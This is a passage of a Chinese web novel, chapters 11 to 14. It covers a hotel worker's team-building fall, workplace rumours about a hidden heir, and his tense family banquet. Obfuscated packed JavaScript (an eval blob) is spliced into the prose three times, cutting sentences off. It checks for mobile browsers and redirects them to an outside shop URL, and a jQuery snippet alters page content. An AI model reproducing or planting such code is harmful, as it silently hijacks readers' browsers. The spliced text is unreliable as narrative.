但看着房荣离开的背影，她心里的疑云更重了。 撒谎，隐瞒，这个总裁一点都不简单。 11. 第十一章 然而，事情的转机出现在了几天后，群里通知要组织一场团建活动，增进同事间的默契。 目的地是市郊一处风景不错的拓展基地。 周六这天，阳光正好，微风不燥。 大巴车上充满了欢声笑语，李美丽难得没有摆架子，张罗着大家唱歌；魏嘉信见缝插针地讲着冷笑话，虽然冷场居多，却也逗得大家前仰后合；连平时最腼腆的郑舒慧，也被气氛感染，小声跟着哼歌。 阳光透过车窗洒进来，暖洋洋的。 陶新柔坐在靠窗的位置，看着窗外飞驰的景色，心情也稍微明朗了一些。 她用眼角余光留意了一下房荣，只见他坐在斜后方，正平常地与旁边的老员工聊着天。 侧脸在光线下显得单纯憨厚。 陶新柔心里盘算着等下怎么盯紧他。 到了目的地后，大家身着统一的运动装，陶新柔和郑舒慧并肩走在队伍中间，两人有说有笑地讨论着接下来的拓展项目。 郑舒慧还时不时打趣：“你看房荣，穿运动服也挺帅气的。” 陶新柔顺着她的目光看去，在一众的同事中，房荣的个子、身材都显得很出跳。 运动服穿在他身上，居然有种清爽的少年感。 似是意识到有人在看他，房荣回过头也看向了陶新柔，露出一个干净又温和的笑容，陶新柔霎时像被现场抓包的小贼，猛地扭回头，只感觉后颈微微发烫。 团建活动从趣味游戏开始，两人三足、踩气球、拼图，一个个项目下来，原本略显生疏的氛围彻底被点燃。 大家暂时抛开了职位高低，玩得投入又开心。 上午的趣味活动结束，午饭是露天烧烤，大家自己动手，更是笑料百出，有人烤焦了鸡翅，有人被烟熏得眼泪直流，大家互相调侃。 而房荣，手法娴熟，火候掌握得恰到好处。 不一会儿，他那边就飘出了诱人的香气，吸引了一堆“嗷嗷待哺”的同事。 大家围在他身边忍不住夸他手艺好。 房荣都腼腆道谢，然而陶新柔却不敢去尝，她可不敢再对总裁大逆不道了。 只是看者无心，做者有意。 房荣直接把烤肠递到她面前问：“要不要尝尝我的手艺？” 陶新柔委婉拒绝：这是她能尝的吗？ 但拗不过其余同事的夸赞，陶新柔只好心一狠，闭眼张口。 对不起，小应总，下次你让我往东我绝不往西！ 只是…… 陶新柔猛地睁开眼：“哇！好好吃！” 味蕾先被思想打败了。 “是吧是吧？我就说房荣烤得超级香。”郑舒慧甚至伸手又向房荣要了一根，房荣也不犹豫，挑了一根递给她。 这真是总裁的手艺吗？ 陶新柔眯起眼，越发看不透面前的小应总了。 午休过后，迎来了户外高空拓展项目——空中步道。 步道由木板拼接而成，下方是两米高的防护网，两侧配有防护绳，看似惊险却有足够保障，是很多人最期待的项目之一。 郑舒慧胆子小，迟迟不肯上步道，她死死抓着陶新柔的胳膊：“新柔，我、我能不能在下面给你们加油？我恐高。” “魏主管可说了，大家都得走，一个都不能落下。”在他们不远处，有同事提醒。 郑舒慧吓得更是腿软。 陶新柔拍了拍她的肩膀，安慰道：“别怕，我走你后面。” “那我押后，安全些。”房荣不知何时走了过来。 原来，就剩他们三个人还没上步道了。 郑舒慧听到两人的话，感激得快哭了。 于是，三人小分队组成：郑舒慧打头，陶新柔居中，房荣断后。 大部队的兴奋分子早就嗷嗷叫着冲到了前面，而他们这组，则刚开始了龟速挪移。 木板在脚下微微晃动，每一下都换来郑舒慧一声短促的惊叫，陶新柔虽然不断安慰郑舒慧，其实自己也紧张地手心冒汗，她偷偷往下瞄了一眼，两米多的高度此刻看起来像万丈深渊。 走到中段，郑舒慧稍微适应了些，速度加快了一点。 陶新柔稍稍松了口气，目光习惯性地扫过身侧的防护装置，只见右边那根主防护绳与金属扣的连接处，似乎不太牢固。 她心里掠过一丝异样。 就在这时—— 嘣——咔！ 一声清晰的断裂声响起。 失去一侧拉力的步道瞬间扭曲失衡！ “舒慧！小心！”陶新柔的尖叫撕裂了欢乐的空气。 所有人都朝后看，笑容凝固在脸上，时间仿佛被慢放。 她脑子里一片空白，千钧一发之际，陶新柔冲过去拉住郑舒慧。 郑舒慧惊叫着抓住绳索，才没掉再去，而陶新柔则因反作用力向后踉跄，整个人都向后倒去。 她甚至能看清头顶那片格外湛蓝的天空，以及几只被惊飞鸟雀的轨迹，此刻心中只剩下一个巨大加粗的弹幕：【吾命休矣！没想到我陶新柔的人生终点竟然要葬送在这儿了。】 “啊——”陶新柔尖叫着。 电光火石间，一个有力的手臂没有丝毫犹豫，迅捷而牢固地环住她的腰，将她整个人向后猛地一带。 两人就这么一起坠了下去。 失去平衡后，预想中的撞击变成了一个柔软的承接和一阵富有弹性的起伏。 原本头上的安全帽挂在半空，晃晃悠悠，像是在隐隐吃瓜。 陶新柔感觉身下是个柔软的胸怀，她的后背几乎完全贴合进了一个宽阔而温暖的胸膛，甚至能隐约感受到紧绷的肌肉线条和沉稳有力的心跳。 等等，如果她没记错的话，刚才走在她后面的是房荣。 那么也就是说…… 扑通——扑通—— 一时分不清是她的，还是他的，或者两者交织，在惊魂未定的寂静中擂鼓般作响。 “新柔！你们没事吧？” 直到上方的声音传来，陶新柔才从惊魂未定中缓过来。 她睫毛颤抖着，一时间竟忘了言语。 “天啊！绳子怎么会断？快叫人！” 上方急急忙忙，下方不知所措。 陶新柔这才像是被惊醒，对着上方说了一句“我没事”后，赶紧从房荣怀里起身，说话都变得结结巴巴了：“对、对不起。” 此刻，她感觉浑身的血液都一下涌上了头顶，脸颊瞬间烫得能煎鸡蛋。 啊啊啊！ 陶新柔你刚才躺哪儿了？ 那是总裁的胸口！未来老板的胸怀！ 是你能随便躺的吗？ 工资还没捂热呢就想提前预支工伤抚恤金了吗？ 她头都不敢回，仿佛多看一眼就会因为冒犯上司而被当场开除。 却听身下传来一句：“你没事就好。” 陶新柔都不知怎么接话了，眼下的情形实在让人太尴尬了。 她胡乱地抬手拢了拢散乱的头发，却发现发绳不知所踪，长发披散下来，更添几分狼狈。 她试图在周身寻找，这时一只手拿着她的发绳递过来。 “你在找这个？” 顺着那双手看去，房荣温柔如水的双眸，像是含情脉脉地看着她，连同声音都变得更赋磁性了。 陶新柔盯着那根发绳，像是看着一个烫手山芋。 该死的绳子！为什么要在这个时候断裂！ 她一定要找基地赔偿！ 赔偿！ 除了身体损失，还有心灵损失，如果可以，再加上一个工伤费，万一被开除呢？ 不再多想，她急忙用两根手指，小心翼翼地捏住了发绳的一端，飞快地抽走，嘴里嘟囔着：“谢、谢谢你，刚才，多亏了你。” 陶新柔的心还在扑通扑通地猛烈跳着，幸好没有触碰到房荣的手指，她真怕一不小心就看到了房荣和她的未来。 太可怕了！ 她笨拙地想把头发扎起来，但因为在网上整个人都轻飘飘的，再加上心慌意乱，扯了好几下都没成功，反而把头发弄得更乱。 “别急，先上去再说。”房荣的声音再度响起。 陶新柔这才注意到安全员已经放下了救援绳和腰带。她如蒙大赦，赶紧抓住递到面前的救援带，也不管怎样才是对的，只希望安全员赶紧把她拉上去，然而房荣却忽然笑了起来：“这个要绑在腰上。” 陶新柔还没从房荣太过温柔的眼神和语气中回过神来，就见他已自然地拿起救援带，俯身靠近。 距离瞬间被拉近—— 他清冽的气息再次笼罩下来，阳光从侧面穿过他的脸，他的身影覆盖在陶新柔之上，带着运动后微微的汗意和阳光的味道，不容分说地侵入她的感官。 他的手臂环过她的腰际，动作利落，手指灵活地整理着带子。 那一刻，房荣的动作被放慢了，房荣的脸被放大了，陶新柔的心跳更快了。 她的潜意识笃定：这是吊桥效应，这是吊桥效应。 但不理智却告诉她：啊啊啊，总裁喜欢她！她也喜欢！…… “好了，把手给我，我拉你上去。” 陶新柔无意识地把手递过去，只那一瞬间，有关房荣未来的画面再次传来—— 冰冷的光线，近乎冷漠的会议室里，房荣身着剪裁合体的深色高定西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“意外？在高空防护设施上，出现这样明显的磨损断裂，你跟我说是意外？如果不是下面有防护网，后果是什么，你想过吗？” “这……真的很对不起，我们一定会赔偿的。” 魏浩也站了出来，还没说话，就被房荣抬手拒绝了，他继续道：“你们的高空设施的日常巡检和保养记录，现在立刻给我调出来！” “啊？”基地负责人明显一愣，他们互相一看，而几个同事也面面相觑。 陶新柔感觉自己仿佛看到了某种模式切换。 此刻，他脸上惯有的温和腆如同潮水般褪去，现在呈现在她面前的，仿佛就是气质冷冽，高高在上的小应总！ “根据《国家高空作业安全标准》，出现这种级别的安全隐患和事故，已经不是一句道歉和意外能解释的，我们需要立刻查看全部相关设施的近期检查报告、维护记录以及操作人员资质证明，如果程序存在疏漏，或者记录无法提供，那这里的所有高危项目必须立刻停止运营，接受全面整顿。” 房荣条理清晰，说的所有人都看得目瞪口呆，陶新柔更是在内心按下暂停键。 等一下，现在这个气势，总裁是准备自爆了吗？ 显然周围的同事们也一片寂静，都被房荣这突如其来的强硬和权威给镇住了。 基地负责人脸霎时白了，他大概也没想到这个看起来温和的年轻男人，会有如此严肃的一面。 他扭扭捏捏地想招开口：“先生，您先别激动，您说的我们一定会照办配合。这样吧，今天所有费用全免，这位女士的医疗检查我们全权负责。” 就在陶新柔觉得房荣下一秒可能要打电话叫集团法务部空降的时候，魔法又发生了！ 房荣听完负责人的承诺，脸上那冷冽的气场忽然像是信号不良般闪烁了一下，他这才注意到周围同事齐刷刷看向他的眼神。 下意识地，他的目光躲闪了一下，然后飞快落回了陶新柔身上，语气瞬间从刚才的冰冷权威，切换成了熟悉的调子，甚至还无意识地摸了摸后颈：“那行，你们赶紧吧。那个，魏主管，陶新柔应该参加不了下面的项目，我先扶她去找个地方坐着休息会儿吧？” “啊，哦，行，你们去吧。”魏浩的语气僵直。 陶新柔看着来了个360°大转变的房荣，她感觉自己不是经历了高空惊魂，而是坐了一趟对总裁两面三刀、面目暴露的过山车！ 直到这时，周围停滞的空气才重新流动起来。 可陶新柔心里却打起了鼓。 总裁的真实面目真不好猜啊，她到底应该是信任他，还是戒备他？ 这个问题，以更让人心乱的方式，横亘在陶新柔面前。 12. 第十二章 团建活动在陶新柔和房荣从高空坠落草草结束，大家被安排到休息区，不少人还心有余悸地讨论着刚才的惊险一幕。 郑舒慧紧紧挨着陶新柔坐下，倒了杯热水塞到她手里，眼睛却亮晶晶的。 “新柔，刚才真是吓死我了！幸好房荣在你身后，我的心才放下了一些，不过……刚才你掉下去的时候，房荣那个反应速度真是太快了！” 她用手肘轻轻碰了碰陶新柔，神秘兮兮道：“而且，你们掉下去之后，我在上面看到他抱着你呢，就那样护着，虽然情况危险，但那个画面，真的好像偶像剧里英雄救美的场景哦！特别浪漫！” 陶新柔正小口抿着热水，闻言差点被呛到，好不容易褪下去的热度又有卷土重来的趋势。 浪漫？哪里浪漫了！那是她这辈子都忘不了的尴尬场景。 然而郑舒慧完全没接收到好友内心崩溃的信号，继续沉浸在自己的偶像剧滤镜里，弯起眉眼，继续想象：“他刚才那么紧张你，从把你拉上来，到检查你膝盖，再到后来跟负责人据理力争。新柔，你说他是不是也对你有意思啊？” 噗—— 陶新柔一口热水喷了出来，她被水呛到了，咳得眼泪都快出来。 “郑舒慧！你别瞎说了，根本没有的事！那就是同事之间的互助！换了你或者别人，他肯定也会帮的，刚才是情况紧急，什么偶像剧……你少看点那些短剧，容易坏脑子！” 然而郑舒慧却完全没有要住口的意思，她偷偷看着陶新柔笑，又看了看不远处正在拉筋的房荣，只觉得面前这个原本温柔的男人，在她心里都高大了几分。 “好好好，我不急，我一定要吃到你们的结局，加油！我看好你们！”郑舒慧说着还做了个“加油”的手势，弄得陶新柔完全下不来台。 她感觉太阳穴突突直跳，她都社死成这样了，竟然还有人在吃瓜。 无语，真的无语！ 她闭上眼睛，揉了揉太阳穴，不忍再去听郑舒慧的瞎扯。 “舒慧，我想休息一下。” 郑舒慧见状只好适时结束玩笑，关切地拍拍她：“好好好，我不说了，你休息，不过……房荣人真的挺不错的，你考虑考虑嘛。”她还是忍不住最后小声补了一句。 陶新柔想翻两个白眼，但是已经没力气了。 * 自从那天之后，陶新柔简直不想再跟房荣碰面了。 可心里的后遗症却像是个柔软的棉絮，时不时扫过她的心尖。 只要一闭眼，不是房荣怀里那烫人的温度，就是她看到的未来中，他冷脸严厉的模样。 尤其还跟房荣不仅上班见面，下班还得见面的状态，搞得她上班走神，下班失眠，黑眼圈快比熊猫的眼睛还浓重了。 但那个坐在办公位上什么都不知觉的人，还在傻呵呵地工作呢。 陶新柔不解，陶新柔震惊。 大老板到底什么时候才会过腻他的“虚拟人生”。 求求了，赶紧成为总裁，让她别再担惊受怕了。 就在她试图用工作麻痹自己乱糟糟的神经时，一股新的妖风悄无声息地刮遍了整个云麓酒店—— “劲爆消息！总部那边的朋友透露，应家那位从小被送出国、多年没音讯的三少爷，上个月回国了！” “真的假的？不是说老爷子当初放话，说他不学无术，不许他回来添乱吗？” “今时不同往日啦，听说老爷子这两年身体不太硬朗，集团内部要重新选出新一任，你懂的，总得有人先来平衡一下。” “可空降也得有理由吧？他在国外学的什么？酒店管理？金融？别真是回来当个吉祥物吧？” “谁知道呢！但据说人已经到国内了，而且很可能已经低调进入集团体系了，说不定就在咱们哪个分公司里熟悉业务呢！” “我的天！微服私访？这剧情也太刺激了吧！你们说……咱们这集团重点的新店，会不会就是三少爷的体验第一站？” “完全有可能！要不然上次开业，应副总怎么亲自来了？说不定就是来给打探消息的。” “妈呀，要真是这样，咱们身边会不会已经藏着太子爷的眼线了？” “嘘——！小点声！不过你这么一说，我这两天看谁都像有背景的……” “完了完了，我上周还在仓库偷懒了十分钟，不会被未来老板看见了吧？” …… 传闻说的有鼻子有眼，一时间，酒店内部的气氛变得微妙而躁动。不少心思活络的员工开始暗暗观察，谁可能是那位神秘三少爷提前安插的眼线。 拍马屁和拉关系的艺术，得到了空前实践。 有人突然对平时不太打交道的同事热情备至，有人在聊天时会不经意间带上试探，有人在食堂吃饭时，总会恰好坐在看似有点门路的同事旁边。 而有两个人，在这场活动中表现得格外不合群。 那就是房荣和陶新柔。 房荣依旧每天准时上班，低头做事，穿梭在客房区域。 面对同事们兴奋的议论，他大多只是听着，偶尔点点头，露出那种略带茫然的“哦，是吗？”的表情。 仿佛这些传闻和火星要撞地球的消息属于同一个遥远星系。 而陶新柔则将这一切尽收眼底，只感叹一句：老天爷，你给我开预知这个金手指，就是为了让我近距离围观总裁是怎么成为总裁的吗？ 郑舒慧也是按捺不住好奇的心，忍不住跟陶新柔八卦起来：“新柔，你说他们说的都是真的吗？三少爷真的在我们酒店？” 陶新柔一时不知该怎么答复，她总不能说“对对对，就是那位”，毕竟这种没有被证实的话，她可不敢瞎说，而且，根据现在的传闻，都已经逐渐预知了陶新柔看到的画面。 她眼神飘忽，想避开这个话题：“不知道啊，有可能是吧，但他来不来跟我们也没关系吧。” “怎么没关系！要是真在，我们可得更努力才行，说不定上次李美丽刁难我们的事，还有水晶摆件那事，三少爷都看在眼里呢，搞不好哪天就替我们沉冤得雪了！”郑舒慧倒是很认真。 陶新柔嘴上没说，内心腹诽：不用搞不好，已经雪过了姐妹，而且替你雪冤的那位青天大老爷，昨晚还因为卫生间漏水，来敲过我的门呢。 陶新柔参与不进去这个话题，也不想参与这个话题，她怕说多了露馅儿。 但是该面对的还是要面对，比如漏水这个问题。 想到漏水，陶新柔心里的警报瞬间拉起，她今晚还得主动上门给房客房荣维修。 哎，总裁的事怎么能不当个事儿办。 要是水管修不好，她恐怕得把主卧让出来了。 难过，想哭。 * 陶新柔在某同城上，不惜花了个大价钱，请了个五星好评的师傅。 晚上八点，维修师傅准时上门进了次卧维修，房荣只能暂时和陶新柔一起待在客厅里。 陶新柔还穿着上班前没换正装的那身，把自己裹得像个熊猫，而房荣已经换了家居服，简单的灰色T恤和长裤，整个人看起来比白天工作时松弛许多。 反倒是陶新柔很不自在，她眼神飘忽，一时不知视线该往那儿放。 两人别扭地不知所措。 反倒是房荣先找了几个话题跟陶新柔闲聊起来，只是话锋一转，还是落在了那个问题上。 “最近酒店里，大家好像都很沉迷讨论应家三少爷，你听说了吗？” 陶新柔立刻调整表情，拿出普通吃瓜同事的态度，瞪大眼睛：“什么？还有这事？我不知道啊。” “嗯？最近大家都传得挺热烈的，没想到你不关心这些八卦。” 陶新柔OS：我不是不想，我是不敢。 “嗯……是，我觉得好好工作最重要，这些八卦也跟我没关系，而且，就算有高层真的来微服私访，看到大家因为传闻心神不宁，影响工作，反而不好，嗯，我的目标是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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所以小应总的房间里到底有没有什么可以暴露的蛛丝马迹？ 会不会夹在书架的某本书里，还是桌上的笔筒里，亦或者藏在床底下？ 就在这时，门锁响了。 陶新柔以迅雷不及掩耳之势跑回客厅，抱着靠垫窝在沙发角落里，表情安静。 房荣推门进来，手里拎着一个水果袋。 “买了点草莓，要吃吗？我去洗。” “不用不用，您太客气了。”陶新柔连连摆手。 房荣没多说，把水果袋放好，又去次卧门口看了看进度，幸好师傅已经修好了。 交代了几句后，师傅离开，陶新柔赶紧从总裁房间退出来，毕恭毕敬地站着。 “那个……修好了，应该不会再漏了，你早点休息，晚安。”陶新柔飞快说完，就想溜回自己房间。 “陶新柔。”房荣却叫住她。 陶新柔后背一僵，缓缓转身：“还……还有事？” 只见房荣从口袋里拿出手机，操作了几下，然后抬头看她：“维修费多少？我转给你。” 原来是要AA，总裁果然公私分明！ 陶新柔立刻摇头如拨浪鼓：“不用不用，这是房子本身的问题，该我们房东承担的。” 房荣却坚持：“我住在这里，使用中发现问题，也有责任，至少承担一半吧。” “别别别，这钱我可不收。” …… 两人就这么在客厅里，为了一百多块的维修费，进行了一场谁更客气的拉锯战。 最后，陶新柔拗不过房荣，只好妥协，收下了一半的钱。 这让她心情更加复杂了。 看着房荣对她道了声“晚安”，转身走回次卧的挺拔背影，陶新柔捏着手机，心里那团乱麻好像又缠上了新的线头。 所以他到底是个怎样的人呢？ 能冷静威严，能温和关切疼，还能为了一百多块维修费较真…… 哪个才是真的他？还是……这些都是他？ 13. 第十三章 没等陶新柔想清楚这件事，传闻已经越演越烈，应家也听到了传闻，并且于听到的当天就要求应景晟回应家。 “小应总，实在没办法，瞒不下去了，也不知道总部哪儿来的消息，说您已经回国了。” 王安然小心翼翼地跟在应景晟身边，两人正朝着应家别墅走去。 他不停地朝应景晟的冷脸看去，完全不敢直起身子，又补充一句：“我一定会找出来到底是谁把这个消息放出去的。” 夜色勾勒出应景晟挺拔却淡漠的侧影，他停下步伐，只淡淡道：“现在追究这个，有意义吗？” “额……”王安然陡然想了想，“应该没有……吧……” 应景晟没作答，继续迈起步子朝别墅走去。 今日的应家别墅灯火辉煌，应家老小齐聚一堂，说着是要给应景晟办接风宴，但主角还没到场，大家已经举杯庆祝，吃喝起来了。 侍者无声地拉开沉重的雕花大门，还未走近，应景晟就听到里面传来几个亲戚尖锐的声音—— “二哥啊，你管着酒店这块肥肉，老爷子可是寄予厚望的。最近新开的那家店，听说动静不小？可千万别出什么岔子，赔了夫人的脸面是小，折了集团招牌，咱们可都担待不起啊。” “四弟，这就不用你操心了，不如多看看自家那几个高尔夫球场，听说最近会员流失得厉害？景晟回来也好，年轻人眼光新，说不定能给你那老一套出出主意。” 空气似乎沉默了一下，随后才传来“哈哈哈”的声音。 “哎呀，今天高兴，说这些干嘛！来来来，喝酒！等景晟到了，咱们可得好好的……” 所有的声音，在这一刻，像被一只无形的手骤然掐断。 厅内众人的目光，齐刷刷地投向门口。 应景晟就站在那里，不知已听了多久。 他穿着一身剪裁得体的深色西装，脸上没有什么表情，只有一种深潭般的平静，目光缓缓扫过瞬间僵住笑容的众人，最后落在主位上神色复杂的应怀瑾身上。 “爸，我回来了。” 时间仿佛被按下了暂停键。 酒杯悬在半空，笑容僵在脸上，方才还暗流涌动的热闹假象，被这突如其来的寂静衬得无比尴尬。 “哎呀，景晟回来了？快快快，来坐在三叔身边。”应怀礼张罗着起身，脸上堆满了看似客气的笑容，干巴巴地打破了死寂。 周围的亲戚们也都站起身，说着轻飘飘虚浮的话。 “景晟果然长大了，瞧瞧这气度，在国外历练得就是不一样。” “是啊是啊，个子好像又高了？就是看着瘦了些，国外吃得不如家里吧？” “这次回来就不走了吧？有什么打算没有？老爷子可是天天念叨你呢！” …… 应景晟听这些话，面色无波，步履从容地走入“热情”中，他径直走到应怀礼面前，眼神平视回应：“四叔，看来我回来得正是时候，该给您谋划谋划高尔夫球场的事了。” 应怀礼脸上的笑容像劣质墙皮一样簌簌往下掉，眼里闪过错愕，但很快又被强压下去，打着哈哈：“哎呀，你这孩子，耳朵还挺尖，四叔就是随口一说，开玩笑，开玩笑的嘛。”他试图转移话题，“不过景晟啊，你也真是的，回国这么大的喜事，怎么也不提前跟家里透个风？我们这些做长辈的，也好安排人去接你，给你好好接风洗尘啊！这弄得多见外。” “接风就不必了，我回来是为做事，不是为排场。” 说完，便挨着应怀瑾坐了下来。 应怀瑾轻咳一声，朝侍立一旁的管家示意：“马姐，老爷子该等急了，去请他下来吧。” “是。”管家匆匆离去。 楼梯方向很快传来沉稳的脚步声。 老爷子应松年在管家的搀扶下缓缓走下，他身着中式绸衫，手持沉香木杖，面容清癯，目光矍铄，虽年事已高，但通身久居上位的威严仍在。 众人立刻收敛神色，整理衣襟，齐齐起身转向楼梯处。 他的视线第一时间落在了坐在主位边，挺直脊背的应景晟身上，眼眸里掠过一丝复杂的情绪，声音沉稳：“都到了？开席吧。” 餐□□致，席间却弥漫着一种食不知味的紧绷感。 最初的寒暄祝酒过后，话题终究还是绕回了刚刚归国的应景晟身上。 “景晟，什么时候回来的？怎么不告诉家里一声。”应松年目光沉沉地看过来。 应怀远立刻跟着开口：“是啊，你这孩子，回国这么大的事，也该先知会家里一声，是不是在国外待久了，跟家里生分了？” 其他几位叔伯虽未直接发问，但脸上皆流露出不认同的表情。 应景晟抬起头，迎上应松年审视的目光，放下筷子道：“爷爷，我这次提前回国未告知，是我的疏漏，但我有自己的考虑，才不想惊动长辈，而且，我这次回来，是希望能作为应家的接管人之一慢慢了解集团。” “哦？那你有什么计划？”应松年问。 “我想从最基础的地方了解集团的运作，所以，我已经入职了云麓新开业的城市花园酒店，目前在客房部工作。” 哐当—— 不知是谁的勺子掉进了瓷盘里，发出清脆的声响。 紧接着是此起彼伏的倒抽冷气声和难以置信的低呼。 “什么？客房部？景晟，你这也太胡闹了，以你的身份，怎么能去做那种工作？简直是……”应怀远想说“丢人现眼”，但在老爷子面前硬生生咽了回去。 一直冷眼旁观的四叔应怀钦也皱紧了眉：“想了解基层，方法多的是。去分公司挂个职，或者跟着核心项目组学习，哪一样不比去当服务员强？景晟，你是不是太儿戏了？” 还没等应景晟回答，应松年倒是点头认可：“嗯，你有这样的想法很好，但你想过没有，你是应家的子孙，一言一行，在外人眼里，都可能牵扯着整个家族和集团的风评。你想踏踏实实从头做起，值得肯定，可方法、分寸、时机，同样重要。” 面对老爷子隐含怒气的责备和叔伯们几乎写在脸上的不满，应景晟仍挺直脊背笔直，毫不畏惧回答：“爷爷教训的是，是我考虑不周，也让几位叔叔伯伯担心了，我接受批评。但是，如果我的一切起点，都需要家里的安排，那我看到的、学到的，永远都只会是别人想让我看到的一面，那样的经验和认知，是空中楼阁，担不起真正的分量。” “我明白大家的顾虑，应家人的身份，是责任，不是枷锁。我选择这条路，正是因为它最难，最容易被质疑，但也最可能打破一些固有的藩篱和想象。我不怕别人质疑我的能力，时间会证明一切，如果我因为怕被看轻，就选择一条看似光鲜却远离真实的捷径，那才是对应家名声最大的不负责任。” 话音落下，满室寂然，看来应景晟是有自我规划的。 应松年久久凝视着这个从小疏于亲近、在此刻显得如此陌生的孙子，更认可地点头。 这些年，关于他的传闻他不是没听到一些，他始终相信，他是一个值得依靠的好孩子，所以那件事，他也很放心地交给他。 “好，先吃饭吧，吃完饭后让爷爷好好看看。”应松年继续拿起筷子，其余人也不敢再说什么，只好拿起碗筷继续宴席。 只是晚宴的后半段却进行的十分冷漠，几乎没人说话。 应景晟的这番话，不仅仅是解释，更是一份清晰的宣言，它彻底挑明了应景晟回归的目的与姿态，他拒绝被安排，拒绝捷径，他要以最艰难也最扎实的方式切入集团内部，积累独一无二的声望。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203430|197298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >应怀远等人的脸色则更加难看了。 这场接风宴，此刻已彻底变成了无声的战场。 * 接风宴结束后，应松年让应景晟和应怀瑾来书房。 厚重的红木门隔绝了外面的声响，灯光是温暖的橘黄色，映照着满墙古籍和沉淀着时光的家具。 应松年走到宽大的书案后，拄着拐杖坐下。 “说说吧，有没有查到什么消息？” 应景晟正襟危坐：“爷爷，目前我这边已经查到泄密案与西南分公司有关，数年前西南分公司经手的几个大型基建配套项目账目异常，当时那几个项目，是由二叔和四叔主导引入的合作方。” 应松年眉眼未动，他缓缓将一杯泡好的茶推到应景晟面前。 “西南分公司……我倒是有点印象，当初老二向我汇报过。”他声音低沉，稍作思考，把眼神看向应怀瑾，“老三，你有什么想法？” “爸，西南那边的事我未插手过，但略知一二，当年那几个基建配套项目，标的大，周期长，涉及的境外合作方背景也杂。二哥和四弟当时力主推进，说是打开了西南市场的新局面，业绩报表上一度很好看，但……” 应怀瑾顿了顿，又看向应松年。 “说吧。” 应怀瑾继续道：“但如今景晟查的泄密案，若真能牵扯出那时的旧账，恐怕就不仅仅是几份文件泄露那么简单了。很可能……很可能水很深，且连着当年没理清的淤泥，甚至更见不得光的东西。” 他顿了顿，看向应景晟，眼中露出忧虑：“爸，景晟有锐气，肯吃苦，想为家族做实事，这份心志难得。但他毕竟年轻，独自在漩涡里摸索，我实在放心不下。” 应松年回过头看向应景晟问：“景晟，你觉得你能查清楚这件事吗？” “爷爷请放心，您交办的事我一定会给您一个圆满的交代。” 应松年点点头，招了招手把应景晟喊到面前。 “小时候你跟几个哥哥姐姐一起长大，我最不担心的就是你。记得你五岁那年，家里给我办寿宴，你大哥带着你们几个小的在后园骑车玩，你年纪最轻，个头还没车高，却非要学，你大哥他们都笑你，说等你长大点再学。你不吭声，就自己推着车子，在小径上一遍遍摔，摔倒了，自己爬起来拍拍土，膝盖和手肘都磕破了皮，也不哭不喊人，就抿着嘴，一遍遍试着踩上去，找平衡。”应松年抬起头，看向窗户的方向继续道，“当时啊，我就在这书房窗口看着你，佣人着急想去扶，都被我拦住了。” 应松年转过身，再次看着应景晟：“景晟，你现在选这条路，爷爷不意外，但是，骑自行车摔了，最多是自己疼，流点血。可你现在要面对的，不是自行车，是深不见底的浑水。你二叔、四叔他们经营多年，早不是宠溺你的长辈了，你一旦碰了他们的根基，他们反击起来，不会像骑车那样，只是让你摔一跤那么简单。” 应景晟安静地听着，应松年话语中那些久远的细节，是在警示他。 “爷爷，正因见过风浪，我才更清楚自己要走的路，我不怕那些。” 应松年看着应景晟沉静的眼眸，点了点头，一字一句道：“爷爷知道，爷爷只是希望你不仅这次，以后也能凭自己的本事，在这潭浑水里，找到那条对的路，并且，全须全尾地走出来。” “爷爷，您当年不让人扶我，是对的，那时我学的不只是骑车，更是在学如何独自站起来。如今这潭水是深，但水里游的是人，不是鬼，他们有他们的根基，我也会有我的船。即使碰了会溅一身泥，但淹不死会水的人。爷爷，路我会看清再走，请您放心。” 应松年点点头，又看向身后担忧的应怀瑾：“怀瑾，你该放心了吧？” 应怀瑾这才不甘心地点点头：“爸，我知道了。” 14. 第十四章 应怀瑾虽然在老爷子的劝说下放了心，但实际对应景晟的担忧并没有减少。 两人出了书房后，应怀瑾又把应景晟叫到车里聊了一番。 只希望他能全身而退，若有需要，他定会倾囊相助。 应景晟明白所有长辈的顾虑，他自己又何尝不是。 “景晟，爸现在插手不了集团的事，你爷爷让我分管其他事物，这边的事只能全权交给你处理，你在你们这辈里，是最出众的一个，爷爷相信你，我也相信你，你一定要把这件事做好。” 应景晟点头走出应家。 思绪还停留在今晚的所有事情上，应景晟闭目养神，在车里待了好久。 说实话，这件事并不轻松，是考验，也是责任。 他已经懒得去想到底是谁把这件事说出去的，现在他只想安稳地当云麓的“普通同事”，做好爷爷交办的任务。 直到王安然提醒他夜已深，他才缓过神来，看到车上的时钟已然停在了10点半的位置。 此时要回到陶家就快11点了，按照合同的约定，他要在10点前回家，否则就不留门了。 本已经做好了今晚随便找个酒店睡的准备，但转而想想，他现在的身份是个普通工薪阶级，花这点钱不值得，于是还是决定碰碰运气。 没想到，陶家的灯竟然还亮着。 边思索用什么理由回应比较好，边打开了门，客厅的景象另应景晟有些震惊。 电视还开着，屏幕的光影无声跳动。 沙发上，陶新柔正歪着脑袋，一点一点地打着瞌睡。 她身上搭了条薄毯，长发有些凌乱地散在肩头，脸颊因为熟睡而泛着淡淡的红晕。 茶几上，摆着一碟洗好的水果，还有一杯早已凉透的白水，显然是给人准备的。 眼前这一幕，与刚刚结束的，充斥着算计与冰冷交锋的晚宴，形成了鲜明的对比。 应景晟站在玄关，一时间竟有些恍惚。 他尽量放轻动作关上门，但细微的声响还是惊动了浅眠的人。 